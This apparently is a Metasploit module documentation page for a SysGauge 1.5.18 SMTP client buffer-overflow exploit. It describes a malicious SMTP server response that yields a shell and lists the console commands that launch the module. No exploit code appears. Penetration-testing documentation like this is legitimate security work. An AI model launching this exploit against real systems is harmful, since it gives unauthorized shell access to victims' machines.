Description

This module will setup an SMTP server expecting a connection from SysGauge 1.5.18 via its SMTP server validation. The module sends a malicious response along in the 220 service ready response and exploits the client, resulting in an unprivileged shell.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/smtp/sysgauge_client_bof
msf exploit(sysgauge_client_bof) > show targets
    ...targets...
msf exploit(sysgauge_client_bof) > set TARGET < target-id >
msf exploit(sysgauge_client_bof) > show options
    ...show and set options...
msf exploit(sysgauge_client_bof) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
